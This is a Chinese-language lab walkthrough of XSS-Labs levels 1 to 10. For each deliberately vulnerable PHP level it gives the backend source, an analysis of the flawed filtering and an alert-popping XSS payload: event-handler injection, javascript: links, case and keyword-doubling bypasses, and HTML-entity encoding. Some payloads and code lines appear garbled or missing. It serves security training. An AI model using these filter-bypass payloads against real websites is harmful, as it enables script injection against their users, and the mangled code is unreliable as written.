XSS-Labs挑战笔记Level1-10

文章目录

  • Level 1
  • Level 2
  • Level 3
  • Level 4
  • Level 5
  • Level 6
  • Level 7
  • Level 8
  • Level 9
  • Level 10

  • 靶场下载地址:https://github.com/lyshark/xss-labs
  • 每一关的后台源码重写了alert()方法,只要成功弹框即可进入下一关

Level 1

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "

欢迎用户".$str."

"
; ?> <center><img src=level1.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>
  • 分析:
    后台源码将用户以GET方式提交的参数name,原封不动地显示在HTML页面中,所以将弹框语句放入name变量中即可:
  • Payload:

Level 2

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">
'
; ?> <center><img src=level2.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>
  • 分析:

    • htmlspecialchars:
      • 作用:把预定义的字符转换为 HTML 实体,而不是作为标签运行;如果不用HTMLSpecialChars,就会导致读取时,把" "; echo htmlspecialchars($str); ?>
    • 本例中,在返回的HTML页面的第一处使用了htmlspecialchars,而第二处没有使用,且两处都没有过滤机制。所以我们在第二处闭合标签,直接弹框:
  • Payload:

test">

Level 3

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
"
; ?> <center><img src=level3.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>
  • 分析:

  • 一共有两处转义:

    • 第一处转义,输入被转义为html实体,不能直接执行;
    • 第二处转义,输入被转义为html实体,不能直接执行,也不能闭合双引号。但是单引号没被转义。
    • 所以可以用单引号闭合input标签,使用不包含被转义特殊字符的弹框方式。
  • Payload:

    • 上述两事件的alert前可以不加javascript
'onclick='alert(/xss/)      #标准格式:onclick='alert(/xss/)',点击输入框触发
'onmouseover='alert(/xss/) 		#标准格式:onmouseover='alert(/xss/)' ,鼠标移动到输入框触发

Level 4

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?> <center><img src=level4.png></center> echo "

payload的长度:".strlen($str3)."

"
; ?> </body> </html>
  • 分析:
    将用户输入个keyword中的<和>替换为空,但在input标签内并未转义。所以直接闭合input标签中的value(不能闭合整个input标签)并使用不带尖括号但弹框方式即可。

  • Payload:

"onclick='alert(/xss/)'

Level 5

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?> <center><img src=level5.png></center> echo "

payload的长度:".strlen($str3)."

"
; ?> </body> </html>
  • 分析:

    • 第二次引用keyword时没有转义,可以闭合input标签;然后采用不含
  • Payload:

">  		 # 标签内的alert必须加javascript,伪协议

Level 6

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?> <center><img src=level6.png></center> echo "

payload的长度:".strlen($str6)."

"
; ?> </body> </html>
  • 分析:
    • 过滤了
    • 但是替换之前没有转化为小写字母,所以可以用大小写绕过
  • Payload:
">

Level 7

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?> <center><img src=level7.png></center> echo "

payload的长度:".strlen($str6)."

"
; ?> </body> </html>
  • 分析:
    • 过滤了script、on、src、data、href,并且在过滤前将keyword转换为了小写
    • 第二处引用keyword没有编码,可以闭合input标签后,重写关键字绕过过滤
  • Payload:
">alert(1)

Level 8

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> echo '
'; ?> <center><img src=level8.jpg></center> echo "

payload的长度:".strlen($str7)."

"
; ?> </body> </html>

.$str7.'">友情链接
  • 分析:

    • 在过滤前将keyword转化为小写,并且过滤了script、on、src、data、href、双引号
    • 第一次引用keyword时,采用了htmlspecialchars
    • 第二次引用keyword时,是在a标签中,而且没有用htmlspecialchars编码
    • 考虑编码绕过:hackbar的XSS HTML Characters编码,可将所有字符(不同于htmlspecialchars仅将特殊字符编码)编码为HTML实体,从而绕过过滤。
    • 然后构造弹框语句,注意到编码绕过后,在第二次引用keyword时,虽然没有htmlspecialchars编码,但是我们事先已经自己将提交的keyword编码为html实体了,所以此时输入的标签不会被执行,而是被当作普通字符串,所以只能构造href超链接,而不能闭合a标签。
  • Payload:

javascript:alert(1)	#对script进行编码(仅编码t即可)

Level 9

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> if(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

.$str7.'">友情链接
'
; } ?> <center><img src=level9.png></center> echo "

payload的长度:".strlen($str7)."

"
; ?> </body> </html>
  • 分析:

    • 在过滤前将keyword转化为小写,并且过滤了script、on、src、data、href、双引号
    • 规定在输入中必须包含http://
  • Payload:

javascrip$#116;:alert(1)//http://www.baidu.com	#对script进行编码(仅编码t即可)

Level 10

  • 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level10.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>
  • 分析:

    • 页面中没有任何可以点击对元素,审查元素发现,除了URL中的keyword参数之外,还有三个隐藏的input参数:t_link、t_history、t_sort
    • 分别对这四个参数进行GET传参:
       http://127.0.0.1/level10.php?keyword=test&t_link=test1&t_history=test2&t_sort=test3
      
    • 查看页面源代码发现,t_sort被写入到html页面;通过源代码可知,keyword进行了编码,而t_sort过滤了尖括号,并没有进行编码
    • 所以我们可以使用双引号仅闭合input标签中对value,然后添加属性是input显现在页面中
  • Payload:

?t_sort="type="text" onmouseover="alert(1)

你可能感兴趣的:(Web安全)